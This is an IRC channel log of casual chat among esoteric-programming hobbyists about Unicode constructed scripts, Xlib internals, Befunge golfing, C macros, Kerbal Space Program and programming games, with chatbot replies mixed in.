14:03:24 <lifthrasiir> nortti: and if you wonder about Yurume instead, https://anidb.net/ch11207
14:12:51 <gamemanj> a language is a standard that people agree on by communicating in it. thus, what stops Tolkien's scripts from entering Unicode?
14:13:06 <gamemanj> What is the criteria for a language?
14:13:45 <gamemanj> And/or script for that language?
14:14:27 <nortti> I have heard there are some problems with tolkien estate re. tengwar
14:14:35 <nortti> but I don't remember where
14:20:27 <fizzie> Cirth and Tengwar are still at 160xx in http://www.unicode.org/roadmaps/smp/
14:21:06 <fizzie> (But the proposal is from 1997 already.)
14:24:15 <lifthrasiir> gamemanj: roughtly speaking, 1. attestation in the actual texts 2. willingness of the community 3. suitability of encoding
14:24:52 <fizzie> Klingon (also proposed by Everson at the same time) was formally rejected for lack of evidence for point 1.
14:24:54 <lifthrasiir> I think Klingon was rejected because of 2 (the *actual* Klingon speakers use Latin transliterations)
14:25:00 <fizzie> Well, maybe 2.
14:25:13 <fizzie> Depends on how you want to think about it, I guess.
14:27:04 <lifthrasiir> fizzie: if the script has enough notability and (usage and/or research), probably 1 is not a concern
14:27:18 <fizzie> For Tengwar, there's an actual published periodical (http://www.elvish.org/VT/) and all.
16:11:08 -!- Kaynato has joined.
16:28:57 -!- bender has quit (Ping timeout: 250 seconds).
16:30:45 -!- jaboja has quit (Ping timeout: 246 seconds).
16:31:38 -!- impomatic_ has joined.
16:37:04 -!- impomatic_ has quit (Ping timeout: 258 seconds).
16:39:38 -!- bender has joined.
16:56:23 <int-e> shachaf: which "usual" meaning of "pidgin" did you have in mind? in any case, the wisdom entry resulted from a discussion about IRC clients, IIRC.
17:15:44 -!- bender has quit (Ping timeout: 250 seconds).
17:28:04 -!- Reece` has quit (Read error: Connection reset by peer).
17:45:07 -!- jaboja has joined.
17:53:15 -!- jaboja has quit (Ping timeout: 264 seconds).
18:26:30 -!- moon_ has joined.
18:38:04 -!- augur has joined.
18:40:44 -!- ais523 has joined.
18:43:44 -!- ais523|telnet has joined.
18:43:59 <ais523|telnet> right
18:44:02 -!- ais523|telnet has quit (Client Quit).
18:44:14 -!- ^v^v has changed nick to ^v.
18:46:36 <\oren\> http://www.orenwatson.be/AsaClassCruiser.PNG
18:46:59 <\oren\> http://www.orenwatson.be/AsaLaunchConfig.PNG
18:47:17 <\oren\> http://www.orenwatson.be/AsaLeavingKerbin.PNG
18:47:43 <moon_> virtualbox is fixed
18:50:56 <gamemanj> what, exactly, did oren do to cause a "biome Highlands" when nowhere near the planet in question
18:51:34 <gamemanj> and who would need a smokescreen
18:51:42 <gamemanj> ("Smk Scrn")
18:52:08 <gamemanj> unless... Aha! \oren\ is actually a Kerbal spy!
18:52:29 <gamemanj> ...also, that is one big cruiser.
18:53:31 <izabera> \oren\: your font doesn't have japanese numbers?
18:53:39 <gamemanj> (I also like the screen-space optimization you've got going on there with the 7-pixel-high font in the launch config...)
18:54:58 <gamemanj> izabera: maybe try looking in the "Chinese Characters" section... 三
18:55:24 <gamemanj> at least, 三 seems to translate to "three" according to Google Translate - it's possible I'm just uninformed.
18:56:32 <ais523> gamemanj: it means "three" but it's also sometimes used phonetically
18:56:51 <ais523> kind-of like people writing "l8r" to mean "later" in text messages
18:57:04 <gamemanj> Noted.
18:57:26 <gamemanj> also, that font has awesome things
18:57:42 <gamemanj> (Translation: that font has awesssss...omethings.)
18:57:46 <moon_> How do i set the path for non interactive shells?
18:57:59 <myname> cd
18:58:19 <moon_> no i ment $PATH
18:58:35 <myname> in whatever config they read
18:59:07 <ais523> moon_: «export PATH=» and the path in their config file
18:59:08 <izabera> 1一 2二 3三 4四 5五 6六 7七 8八 9力 10十 ok these are all in \oren\'s font
18:59:15 <izabera> but i expected them to be contiguous
18:59:24 <izabera> also i think 8 is wrong
19:00:34 <izabera> and there's 百 twice
19:01:46 -!- AnotherTest has joined.
19:07:21 <\oren\> izabera: unicode doesn't have them contiguous
19:08:06 <\oren\> I have all kanji from grades 1-6 in Japan if that helps
19:10:37 <\oren\> This cruiser is heading to Duna and Ike to conduct orbital reconnaissance
19:11:07 <\oren\> It has 3 years of food, water and oxygen aboard
19:11:22 <\oren\> hauling that stuff takes a lot of fuel.
19:11:37 <\oren\> so the whole thing is therefore pretty big
19:13:53 <zzo38> One idea to avoid having to convert a keysym to a string and then to a quark each time a key is pushed in my program might be, when the resources are loaded to create an array of the sorted keysyms mapping them to the quarks, and then search that array using bsearch to find the quark corresponding to a keysym.
19:29:15 <izabera> what stupid system doesn't have contiguous numbers?
19:30:05 -!- AnotherTest has quit (Ping timeout: 250 seconds).
19:31:47 <gamemanj> izabera: well, they're not always digits (see what ais523 said)
19:32:12 <gamemanj> izabera: so they're closer to just random letters, arranged in whatever order it was decided they should be arranged in
19:32:24 <izabera> then they decided a stupid order
19:32:38 <gamemanj> only from a numeric perspective
19:35:06 <zzo38> How to convert GContext to GC with Xlib? (Such thing might want to be done if you want to create a shareable GC)
19:35:35 <gamemanj> why only share the GC?
19:36:01 -!- J_Arcane has joined.
19:36:19 <zzo38> I do not quite understand the point of your question
19:36:38 <gamemanj> I mean, AFAIK Xorg has No Real Protection (tm) against applications messing with other applications anyway (see: Every fullscreen application that abuses XRandr ever), so there's no downside to passing a sub-window
19:39:23 <zzo38> Yes, you can share a window, font, or whatever, but it depend what you want to share
19:42:55 <gamemanj> so apparently a GContext is a CARD32.
19:44:45 <zzo38> Yes, and can be stored in a property or selection or event or whatever, like any other ID.
19:45:14 <gamemanj> Which would be lovely if I could even actually find in any of this what a "GC" actually is.
19:45:31 <gamemanj> oh
19:45:35 <gamemanj> Xlib.h defines it with a typedef
19:46:11 <zzo38> "GC" is an opaque type used in Xlib. You can convert a GC to a GContext, but not the other way around, it seems.
19:47:21 <gamemanj> now you know why passing a window ID might be easier
19:47:43 <zzo38> Yes, but it does not help if the ID you want to share is not a window ID.
19:48:39 <gamemanj> Would be lovely, but things that return GCs seem to be... few and far between
19:49:55 <gamemanj> also, Xlib seems to keep spooky internal fields
19:50:06 <gamemanj> at least, that's what they say...
19:51:17 <gamemanj> presumably,
19:51:22 <zzo38> Something like this would do: GC XGetGC(Display*,GC,GContext); GC XUngetGC(GC);
19:51:37 <gamemanj> those spooky internal fields are why they don't let you do that
19:51:59 <gamemanj> some data it can't extrapolate from the ID
19:52:19 <gamemanj> are you sure it has to be a GContext?
19:53:06 <gamemanj> because by the look of it you'd have to allocate a GC, then swap around an internal field, and hope Xlib doesn't notice
19:53:16 <gamemanj> aka. bad stuff
19:53:25 -!- boily has joined.
19:53:46 <zzo38> Can't it to retrieve the extra data from the server?
19:53:52 <boily> @metar CYUL
19:53:52 <lambdabot> CYUL 261800Z 21010G16KT 30SM FEW060 FEW180 BKN250 31/15 A3005 RMK CU1AC1CI7 CU TR AC TR SLP176 DENSITY ALT 1800FT
19:53:59 <gamemanj> zzo38: IDK
19:55:04 <gamemanj> I mean, in theory there shouldn't be any extra data
19:55:46 <zzo38> I would think the extra data would be any pending GC changes
19:56:10 <gamemanj> Well, trouble is they don't document it for some insane reason
19:56:19 <gamemanj> so who knows
19:56:26 <gamemanj> it just says "internal stuff"
19:56:47 <gamemanj> oh, the specific quote is:
19:56:49 <gamemanj> "there is more to this structure, but it is private to Xlib"
19:56:53 <gamemanj> ...which means the same thing
19:57:00 <gamemanj> but in a more complicated manner
19:57:07 <gamemanj> (and being more annoying about it)
19:59:00 <moon_> Hbot now allows you to execute raw python as well
19:59:20 <gamemanj> tell me, is hbot online?
20:01:48 <moon_> It is, and i discovered i made a mistake, someone else decided to write the python execution script, so nvm on python exec until later
20:02:02 <moon_> Plus my version was bugged
20:02:14 <gamemanj> (and I didn't even get a chance to mess with it, either)
20:02:20 <gamemanj> (I tried many iterations of "help"...)
20:02:34 <moon_> ?
20:02:49 <gamemanj> trying to find out what commands it has
20:03:06 <gamemanj> unless your hbot wasn't the hbot that recently left?
20:03:12 <gamemanj> as in, a minute or two ago?
20:03:22 <moon_> No.
20:03:31 <moon_> well
20:03:33 <moon_> on what channel?
20:03:38 <gamemanj> none, left the network
20:03:56 <moon_> Oh, hbot is running in #hbot and #esoteric-blah
20:04:00 <moon_> yes
20:04:09 <moon_> enough people use hbot for it to have a channel :P
20:04:11 <gamemanj> command prefix?
20:04:26 <moon_> >>> ( we changed it due to a quirk in the ezzybot framework
20:04:32 <gamemanj> (suffice to say I don't want to have to start with the elvish next time it joins to try and get it to output a command listing)
20:14:55 <zzo38> The file Xlibint.h has all of the internal structures. In addition to the stuff I expected, it has variables "rects" and "dashes"
20:22:59 <quintopia> gamemzzoonello
20:23:05 <quintopia> helloily
20:24:05 -!- jaboja has joined.
20:24:53 <quintopia> jabellohja
20:25:19 <quintopia> hmm...is jaboja a human?
20:26:02 <moon_> Welp, hbot is still not working with its new python support yet
20:27:05 <quintopia> i'm fairly certain moon is human
20:31:01 <jaboja> I'm a human. Beep!
20:31:10 <moon_> Can anyone help out? we are failing badly at getting hbot to run python
20:31:13 <moon_> We need someone who can do python :P
20:41:25 <gamemanj> jaboja: hello human
20:43:13 <gamemanj> jaboja: if you are a human, what is the best way to perform: 64 + 192
20:44:34 <jaboja> I would run python and see what it returns
20:53:02 <gamemanj> and how would you run python
20:55:01 <quintopia> gamemanj: jaboja has already proven humanity. "i would push it off onto someone else if i have to but since i don't i will do nothing" is the most human possible answer
20:55:42 <quintopia> anyway, i can python a python sometimes. how much do you pay for such help?
20:59:05 -!- Etaoin has joined.
20:59:14 <Etaoin> hello friends I am here
21:01:00 <moon_> Hello
21:02:10 <Etaoin> `wisdom
21:02:31 <Etaoin> aw is it the wrong character?
21:03:12 <HackEgo> montreal//Montreal is a city in Canada that somehow is obsessed with Vietnamese cuisine.
21:03:33 <Etaoin> ah it's just very slow
21:05:44 <gamemanj> HackEgo lives in a castle of sandbags to protect iself
21:05:47 <gamemanj> *itself
21:05:53 <gamemanj> However, this makes it very slow to communicate with
21:06:05 <gamemanj> since the requests have to navigate the castle,
21:06:13 <gamemanj> while avoiding all of HackEgo's evil traps! :)
21:06:47 <Etaoin> `wisdom
21:07:10 <HackEgo> twnh//twnh is dubious hambiguitous help that will or will not be help. It is provided by a toe with no hair.
21:07:17 <Etaoin> idk with all the bells and whistles of hackego I somehow prefer fungot
21:07:18 <fungot> Etaoin: " more logic p0rn at fnord!') code is perfectly ok for other people reading your code first. it is defined
21:20:02 -!- moon_ has quit (Ping timeout: 250 seconds).
21:22:14 <fizzie> The trouble with fungot is the lack of persistence.
21:22:15 <fungot> fizzie: english auxiliaries are fucked up on the discussion list" though. :p))) without letting me see the perl script to complete the operation ( ' this record set the field x to be more, eh, specbot?
21:23:36 <fizzie> And there are some limits as to what's practical to do with brainfuck delivered over IRC, though there's a mechanism that allows to construct a program incrementally to go beyond the line lenght limit.
21:23:42 <myname> i amnpretty amazed for what is possible with befunge
21:25:39 -!- jaboja has quit (Ping timeout: 264 seconds).
21:31:53 <Etaoin> myname, isn't befunge turing complete?
21:32:49 <ais523> Etaoin: befunge-93 is a push-down automaton unless you use bignum arithmetic
21:33:01 <ais523> it only has a finitely large playfield and a stack
21:33:12 <ais523> befunge-98's use of a stack stack makes it turing-complete, I think
21:33:14 <Etaoin> fungot is written in befunge-95 iirc
21:33:14 <fungot> Etaoin: i think i've done that much without any sleep a few times
21:33:41 -!- boily has quit (Quit: HORRIPILANT CHICKEN).
21:36:17 -!- ^v has quit (Ping timeout: 244 seconds).
21:46:31 <\oren\> what characters should I add next?
21:49:31 <Etaoin> to what exactly?
21:49:42 <fizzie> Etaoin: -98.
21:50:13 <fizzie> (I don't think -95 exists; -96 and -97 do, but only barely.)
21:50:19 <Etaoin> so it is turing complete therefore myname's amazement isn't justified ^_^
21:50:26 <Etaoin> yeah I just misread
21:53:51 -!- Frooxius has quit (Ping timeout: 240 seconds).
21:59:13 <myname> Etaoin: well, being theoretically able to do everything and doing something useful are two different things
21:59:44 <Etaoin> I have to agree what fungot does in that language really is quite remarkable :)
21:59:44 <fungot> Etaoin: or it couldn't build it on top level?
22:07:45 <fizzie> ^ that's the secret, it's just built on top level.
22:08:40 <fizzie> A Befunge-98 variant with non-local function calls would be an eminently practical language.
22:09:12 <fizzie> There's a couple of function calls in the fungot sources, but they're pretty inconvenient to do, since you have to deal with routing execution back to any of the potential callsites.
22:09:12 <fungot> fizzie: you sleep in the dining room studying, and someone said at assembly that music was ripped from fnord
22:10:25 <Etaoin> why does it keep repeating fnord
22:10:47 <gamemanj> "Fnord: The Definitive Album"
22:11:52 <fizzie> Those :1-#<| and :2-#<| and #<| sequences (read from down to up) on approximately the rightmost column of lines 258-263, 231-236 and 225-227 are part of the machinery to return from the sub-interpreters so that ^ul/^bf/^def can share code.
22:12:45 <fizzie> And it keeps repeating fnord because that's the placeholder word it uses when the language model synthesizes the "out-of-vocabulary word" token that was used to replace overly rare words.
22:13:20 <fizzie> (In some styles. Other styles are unpruned that way and entirely fnord-free.)
22:13:39 <myname> nice
22:13:53 <fizzie> At least that's intentional. The fact that Charles Darwin uses emoticons all over the place wasn't.
22:13:58 <fizzie> ^style darwin
22:13:58 <fungot> Selected style: darwin (Books by Charles Darwin -- you know, that evilution guy)
22:14:14 <myname> so a function call,in fungot is actually a push of the "local scope integer" which gets looked up upon return?
22:14:14 <fizzie> fungot: So are you saying my parents were apes?
22:14:15 <fungot> myname: with respect to editors, mr. gould as distinct species, and those from/ long-styled form; both these sets correspond in length with advancing age :) characters derived from seeds are generally :) extreme thinness; and on analysis by mr. frankland, was carefully examined;/ seeds were also conspicuously larger than those :)/
22:14:15 <fungot> fizzie: " 658? 1. published in/ :( atlantic monthly,' 1859, p. 5.
22:14:43 <fizzie> myname: Pretty much, yes. It's the "standard" way to do it.
22:14:50 -!- Nathan2055 has joined.
22:15:35 <fizzie> I used to have, as a signature block, a simple recursive Fibonacci in Befunge-93.
22:16:21 <fizzie> (Very briefly.)
22:16:35 <fizzie> >#v1&#:<-1<-1\0\_.@
22:16:35 <fizzie> >2-!#v_:2\^fibre^-<
22:16:35 <fizzie> ^:_ >$1>\#+:#$!_1^
22:16:41 <fizzie> Not sure if that's the final form.
22:16:59 <myname> "it's not even the final form!!!11"
22:17:53 <izabera> why fibonacci?
22:18:22 <ais523> fizzie: haha, I take it you're using the Befunge stack as a callstack?
22:18:28 <fizzie> It's one of the canonical examples of recursion.
22:18:34 <fizzie> Yes.
22:19:18 <izabera> why fibonacci in your signature?
22:19:53 <fizzie> Oh. Well, I mean, I wanted something compact in Befunge. It seemed like the thing to do. I didn't keep it for long.
22:20:20 <fizzie> People had JAPH programs etc.
22:20:31 <izabera> japh doesn't print fibonacci
22:20:34 -!- moon_ has joined.
22:20:35 <izabera> shouldn't you write a jabh?
22:21:25 <izabera> but maybe fibonacci is more interesting
22:21:39 <myname> jabh?
22:21:58 <fizzie> I didn't have any particularly creative ideas for a JABH. And I had already spent a while compacting "fibre" (that thing) into a small-ish rectangle.
22:22:03 <fizzie> I think mooz helped a little.
22:23:11 <Etaoin> I still somehow feel obfuscated c code is less readable than befunge
22:23:18 <fizzie> myname: JAPH is an obfuscated Perl program that prints "Just another Perl hacker." -- by extension, JABH would be the same except s/Perl/Befunge/ for both the content and the language.
22:23:57 <fizzie> Etaoin: That would probably depend on whether the Befunge code is (intentionally) obfuscated.
22:24:14 <izabera> more obfuscate than just being befunge?!
22:24:16 <izabera> madness
22:25:13 <fizzie> Befunge is generally much more easier to write than to read, at least IME, and I've heard that from others as well.
22:25:28 <Etaoin> iobcc
22:25:34 <myname> i always wondered if people defined golfong in befunge
22:26:02 <myname> like, do you count chars? lines? area? circumference?
22:26:14 <Etaoin> pixels
22:26:28 <Etaoin> that should be a subrequirement
22:26:45 <Etaoin> in case two languages have the same amount of characters the one that uses the least pixels wins
22:27:02 <fizzie> I would wager a guess most Befunge golfing that goes on happens at anagol, and that just counts bytes in the source file.
22:27:02 <myname> indisagree
22:27:45 <myname> if pixels would be relevant, you could make a substitution language that replaces the most common commands with .,:…; etc
22:28:48 <Etaoin> I was thinking recently that if we defined a transistor's operation as f(x,y) = if y then x else 0, assuming that's correct, any language that has an if else statement is turing complete
22:28:58 <ais523> fizzie: ppcg also uses bytes in the source file for befunge, I believe
22:29:05 <Etaoin> though I'm fairly certain transistors are a bit more complicated than that
22:29:06 <ais523> (and similar languages such as hexagony)
22:29:42 <ais523> although interestingly, it has a rule that for unicode-heavy languages, you can use either utf-16 or utf-8
22:30:51 <myname> i'd say area would be i much nicer measurement for bf golfing
22:32:25 <Etaoin> well since only 3 bits are needed to store a brainfuck command and since even that can be further reduced with "switch" operators maybe we could just divide the amount of bytes by 2.667
22:33:01 <Etaoin> unless bf is befunge here ^^
22:33:08 <myname> befinge, yeah
22:33:11 <myname> *u
22:34:00 <izabera> how is area different from byte count?
22:34:26 <fizzie> xxxx
22:34:26 <fizzie> x
22:34:36 <fizzie> That has an area of 8 and a byte count of 6.
22:34:44 <izabera> that's arguably bullshit
22:34:54 <Etaoin> if you use the term arguably loosely
22:35:30 <fizzie> At least for the "area of bounding box" definition, which is admittedly only one of them.
22:35:41 <myname> izabera: it forces you to think in other ways
22:35:47 <fizzie> (It could also have an area of 5, but that's still quite different from the byte count.)
22:35:56 <myname> like, xxxxxxxxxxxxxxx is worse that xxxx\nxxxx
22:36:10 <fizzie> Well, that's true for both.
22:36:27 <myname> you'd need to make solutions as quadratic as possible
22:36:27 -!- ^v has joined.
22:36:30 * ais523 considers making a language where the only meaningful thing is the shape of the bounding box
22:36:35 <myname> i think that'd be funny
22:36:47 <myname> ais523: good idea!
22:36:59 <izabera> wouldn't a vertical line be more efficient than a square?
22:37:05 <izabera> because you don't count newlines
22:37:11 <ais523> you do count newlines
22:37:21 <myname> i wouldn't count newlines
22:37:43 <myname> a vertical line is worse that a horizontal line
22:37:50 <izabera> but why
22:37:52 <myname> since x*y = y*x
22:38:02 <myname> and you may or may not count newlines
22:38:12 <myname> if you don't, it is equally bad
22:38:21 <fizzie> Anyway, I think many "area"-like definitions *would* be more natural, since "xxxx\nx" and "xxxx\n x" really "should" be the same "size".
22:38:25 -!- Warrigal has changed nick to tswett.
22:38:33 <myname> fizzie: yeah
22:38:41 <myname> i'd also use the mbb
22:38:54 <izabera> the what?
22:39:22 <myname> minimal bounding box
22:39:25 <izabera> ok
22:40:01 <izabera> i just thought that with a vertical line you get many free bytes, even if they're all newlines
22:40:13 <izabera> not sure if this is any useful in befunge
22:40:32 <myname> newlines do not have any meaning as far as i know
22:41:25 <fizzie> They only affect where the other source characters end up in the playfield.
22:41:42 <izabera> is it harder to make a squarer program?
22:42:51 <myname> that's the question. fizzies fibonacci has about 50 commands in an area of 3*19=57
22:43:38 <myname> maybe circumference of the mbb is better
22:44:03 <myname> then it would be 3+3+19+19=44
22:44:30 <myname> whereas a squere with 8*8i64 possible chars only has a circumference of 4*8=32
22:44:35 <myname> *square
22:45:11 <moon_> i wonder how much code i would have to write to allow a ghci interface over hbot in python..
22:47:01 <izabera> probably more than in sh with common tools
22:47:16 <myname> http://phpthegoodparts.tumblr.com
22:47:18 <Etaoin> what about lisp
22:47:26 <moon_> Lisp? i could try :P
22:47:33 <fizzie> In a one-line program, if you need to go both ways you generally need to "waste" some characters to #s. In a more squarish program, you generally need to "waste" some characters to ^v<>. It's really a matter of how well you manage to structure your code to avoid either kind of waste, keeping in mind that conditionals by nature change direction, and it's possible to e.g. use _ to do a ...
22:47:39 <fizzie> ... combination of < and $ in a single command if you happen to know the value you want to $ is nonzero.
22:48:20 <fizzie> (Those are called "drop ifs".)
22:49:14 <myname> yeah, but circumference force you to be more squareish since a squre has the lowest circumference (of any rectangle) for any given area
22:50:16 <ais523> fizzie: actually, something that I've been thinking about in stack-based language design
22:50:18 <fizzie> Sure, in an asymptotic sense.
22:50:27 <ais523> is whether it's better for commands to leave values on the stack and force extra pops
22:50:32 <ais523> or consume them and force extra duplicates
22:51:27 <fizzie> I'm only really familiar with the latter kind.
22:52:04 <myname> ais523: if you really make something out of the bounding box idea, tell me. otherwise. i may think about it
22:52:26 <ais523> myname: I'm not planning to think about it much
22:52:28 <ais523> too many other esolang ideas
22:52:42 <myname> i barely have any :(
22:52:48 <ais523> there's one I'm thinking about that seems really promising as a new paradigm but that will be a pain to write
22:52:54 <ais523> either in terms of spec or impl
22:53:51 <ais523> it reminds me of functional reactive programming, but probably isn't identical
22:54:36 <Etaoin> is it possible to #define an array in c?
22:54:55 <moon_> Idk
22:54:57 <ais523> Etaoin: your question is a little confused
22:55:01 <ais523> you might want to clarify what you mean
22:55:05 <moon_> I dont even get what our talking about ^_^
22:55:06 <ais523> note that #define is a textual substitution
22:55:18 <ais523> that runs before the rest of the program is parsed
22:55:27 <ais523> so you can certainly use #define to construct parts of an array declaration, or the like
22:55:32 <Etaoin> yeah I'm daft NEVER MIND haha
22:57:36 <fizzie> Compound literals might also be relevant in whatever the underlying context there was.
22:58:22 <izabera> Etaoin: #define array(x) int array[x];
22:58:23 <pikhq> ais523: Well, ish. You can't really get arbitrary strings out of it, "just" arbitrary tokens.
22:58:24 <izabera> tadaa
22:58:37 <pikhq> (mind, the distinction is... silly and pedantic)
22:59:08 <ais523> pikhq: actually I ran into practical problems with that on mingw
22:59:18 <ais523> I have a macro that stringizes its argument
22:59:21 <Etaoin> I just forgot macro functions aren't actually functions that run at compile time :)
22:59:22 <ais523> and am using it like this:
22:59:31 <ais523> stringize(C:\Users\ais523)
22:59:43 <ais523> this textually becomes "C:\Users\ais523" which doesn't parse
22:59:56 <ais523> presumably mingw is reasoning that as \ is not a valid token, it doesn't need to escape it
23:00:21 <izabera> it's just putting in quotes whatever you pass as an argument
23:00:21 <pikhq> Huh... I had not even thought about that.
23:01:23 <fizzie> izabera: Not quite:
23:01:30 <ais523> it still needs to escape "
23:01:33 <fizzie> 23:01 <fizzie> ,cc #define stringize(x) #x \n puts(stringize(foo"bar"baz));
23:01:33 <fizzie> 23:01 <candide> fizzie: foo"bar"baz
23:01:36 <fizzie> Right.
23:01:47 <ais523> fizzie: try that with a backslash escape inside the "bar" string
23:02:13 <fizzie> 23:02 <fizzie> ,cc #define stringize(x) #x \n puts(stringize(foo"bar\nquux"baz));
23:02:16 <fizzie> 23:02 <candide> fizzie: foo"bar\nquux"baz
23:02:25 <ais523> that's exactly what I expected
23:02:29 <ais523> (and IIRC what mingw did in my tests)
23:02:39 <ais523> it'd escape \ inside a string literal, but not outside
23:02:41 <izabera> i heard that c compilers are cheap these days
23:02:46 <izabera> so you don't have to query candide
23:03:09 <ais523> yes but even using the -x c /dev/stdin trick
23:03:12 <fizzie> The user interface is much more convenient.
23:03:12 <ais523> it's more typing than using a bot
23:03:14 <\oren\> Space Cruiser Asa has arrived at Duna! http://orenwatson.be/AsaAtDuna.PNG
23:03:30 <izabera> what are these screenshots?
23:03:41 <fizzie> Making a candide-style script has long been on my to-do list.
23:04:02 <fizzie> It does a lot of stuff not entirely apparent from the above simple examples.
23:04:23 <izabera> https://github.com/izabera/candide
23:05:01 <Etaoin> https://www.facebook.com/mochadepressotogoplease/videos/650852988399077/
23:05:27 <ais523> fizzie: even with those examples, it's apparent that it's doing something special wrt main
23:05:38 <ais523> also I didn't realise that candide was izabera's
23:05:43 <izabera> it's not
23:05:53 <izabera> pragma- is the author
23:05:57 <gamemanj> izabera: the screenshots are of a proprietary interface to a complicated and downright insane physics-engine based simulation of the interaction of solid bodies that represent liquid, solid and organic-carrying vessels for the purposes of interplanetary travel within a fictional system.
23:06:02 <fizzie> I'd kind of want the fancy gdb integration and print-locals stuff.
23:06:16 <izabera> well, the actual candide is on github too
23:06:34 <gamemanj> (izabera: translation: the screenshots \oren\ is posting are of Kerbal Space Program.)
23:06:44 <izabera> oh
23:06:47 <izabera> much clearer
23:07:18 <gamemanj> (you can see it in the text at the top)
23:07:49 <izabera> ah written text, my old enemy
23:10:43 <fizzie> Huh, I didn't know the World of Goo people had made one of them programmering games as well.
23:12:27 <gamemanj> fizzie:?
23:12:41 <fizzie> http://store.steampowered.com/app/375820/ popped up in my "queue".
23:12:48 <gamemanj> on Wikipedia, "2D Boy" redirects to "World Of Goo"
23:12:51 <gamemanj> yes, really
23:13:04 <gamemanj> https://en.wikipedia.org/w/index.php?title=2D_Boy&redirect=no
23:14:04 <Etaoin> world of goo is great though
23:14:22 <Etaoin> human resource machine too!
23:14:37 <fizzie> It could redirect to https://en.wikipedia.org/wiki/Tomorrow_Corporation instead, at least.
23:14:51 <ais523> hmm, all these programming games
23:14:57 <ais523> and yet I still like BF Joust best
23:15:04 <ais523> (although I've played a bunch of Rubicon too)
23:15:16 <ais523> hmm, the common feature between those games is that they're both based on esolangs
23:15:24 <ais523> like, specific, named esolangs that existed beforehand
23:15:37 <ais523> rather than inventing one for the purpose of the game
23:15:41 <gamemanj> so, basically, you like esolang-based games
23:15:53 <fizzie> I liked TIS-100 even though it invented the language.
23:16:20 <izabera> why would they design a new language when there are existing well tested ones?
23:16:48 <int-e> "merged to World of Goo, developed only 1 game, all notability tied to that article" *shrugs*
23:17:07 <gamemanj> wow, Tomorrow Corporation's FAQ is really useful
23:17:30 <ais523> izabera: most esolangs aren't very well tested :-)
23:17:42 <izabera> good point but still
23:18:01 <gamemanj> in fact, I'd say that if reading their FAQ, make sure to have "format" implemented as something which more or less emulates the DOS version (by guessing which drive letter the drives should be)
23:19:03 <int-e> to be fair, the merge predates the release of that Human Resource Factory game.
23:19:20 -!- jaboja has joined.
23:20:09 <gamemanj> Does it predate "Little Inferno"?
23:21:18 <fizzie> Human Resource Factory and Little Inferno both are from Tomorrow Corporation, not 2D Boy.
23:22:33 <izabera> \oren\: https://github.com/nojhan/liquidprompt ⏚ ⌁ 🕤 etc
23:22:39 <int-e> right, didn't read https://2dboy.com/ carefully enough
23:30:27 <quintopia> ais523: what are your thoughts on manufactoria
23:30:45 <ais523> I've never heard of it
23:30:52 <Etaoin> is it possible to define a logical not function from f(x,y) = if x then y else 0?
23:31:27 <tswett> Etaoin: you just did.
23:31:32 <tswett> Er.
23:31:42 <Etaoin> I did?
23:31:47 <tswett> Never mind, I read you wrong.
23:32:08 <Etaoin> you thought it said if x then x else 0?
23:32:20 <Etaoin> no wait that doesn't make sense either ^^
23:32:35 <tswett> Nah, I thought you were asking if it was possible to define such a function as f(x,y) = if x then y else 0.
23:33:04 <tswett> What sort of thing is x?
23:33:11 <int-e> Etaoin: f(0,0) = 0 means that if all inputs are 0, you cannot ever get 1.
23:33:24 <quintopia> ais523: implausible, but i'll take your word for it
23:33:46 <Etaoin> I'd need a built in not operation in f(x,y) right?
23:33:54 <ais523> quintopia: there are lots of things I haven't heard of
23:33:57 <Etaoin> something like f(x,y) = if x then y else !y
23:34:12 <Etaoin> or if !x then y else 0 maybe?
23:34:21 <int-e> also f(x,y) is monotonic in both arguments... another reason why this will fail.
23:34:30 <quintopia> ais523: it's just it seemed like the kind of thing people who hang out here would be into
23:34:46 <quintopia> and it's been around for...five years now? more?
23:34:48 <Etaoin> what does monotonic mean?
23:35:06 <quintopia> http://pleasingfungus.com/Manufactoria/
23:35:33 <ais523> hmm, Flash
23:35:49 <int-e> Etaoin: x <= x' implies f(x,y) <= f(x',y) for all x,x' and y; similarly for the second argument.
23:36:11 <fizzie> Etaoin: If both x and y are just booleans, then f(x,y) = if x then y else 0 is just the same thing as f(x,y) = x and y.
23:36:12 -!- MoALTz has quit (Ping timeout: 276 seconds).
23:36:58 <Etaoin> this actually makes a lot of sense, why do I never think any of this through ^_^
23:39:27 <int-e> Etaoin: https://en.wikipedia.org/wiki/Functional_completeness#Characterization_of_functional_completeness may offer some inspiration (though you don't need functional completeness if all you want to get out is negation; negation is affine in that terminology.)
23:40:08 <Sgeo_> `unidecode 🤔
23:40:45 <HackEgo> U+1F914 - No such unicode character name in database \ UTF-8: f0 9f a4 94 UTF-16BE: d83edd14 Decimal: &#129300; \ 🤔 (🤔) \ Uppercase: U+1F914 \ Category: Cn (Other, Not Assigned) \ \ U+FEFF ZERO WIDTH NO-BREAK SPACE \ UTF-8: ef bb bf UTF-16BE: feff Decimal: &#65279; \  \ Category: Cf (Other, Format) \ Bidi: BN (Boundary Neutral)
23:43:21 <ais523> strangely, my client can render it
23:43:24 <ais523> despite HackEgo not knowing what it is
23:43:47 <fizzie> The Unicode database used by unidecode is a couple of Unicode releases old.
23:44:00 <Etaoin> not specifically negation, just looking for a single instruction "processor" with the simplest possible instruction
23:44:22 <gamemanj> Etaoin: BytePusher
23:44:40 <gamemanj> Specifically, the processor behind it, but you'll need the 16MiB of RAM to do much useful stuff with it
23:45:04 <gamemanj> Like, you can fit a small visual novel into 16MiB, in BytePusher, with music. (Actually the music's most of the problem.)
23:45:46 -!- moon__ has joined.
23:45:47 <ais523> gamemanj: I take it you've tried?
23:45:57 -!- moon_ has quit (Ping timeout: 276 seconds).
23:45:59 <int-e> Etaoin: if you just want to produce circuits, nand is a popular choice. (There are only two binary operations on Booleans that are functionally complete by themselved; the other one is nor)
23:47:20 <gamemanj> ais523: Well, I didn't get around to trying to compress the music
23:47:43 <int-e> . o O ( sdeddesd )
23:47:44 <ais523> when I played music in a limited system (microcontroller, not eso)
23:47:50 <Etaoin> I know about these of course, was thinking of something either lower level such as defining a single transistor and using it as the only command, or something more high level such as a loop :)
23:47:53 <ais523> I basically expressed it as a list of (frequency, duration) pairs
23:48:22 <ais523> Etaoin: I don't believe it's possible to do useful computations using nothing but identical transistors
23:48:29 <ais523> you either need two different sorts of transistor, or to add in resistors
23:48:34 <Etaoin> who's talking about useful
23:48:50 <ais523> that said, there's such a thing as diode transistor logic, hmm
23:48:52 <int-e> `` sed sDedDesD <<<themselved
23:48:56 <HackEgo> themselves
23:49:14 <gamemanj> ais523: Yeah, except what was going on was more or less: 1. Yay, so there's a free visual novel that's creative-commons licenced! Let's port it!
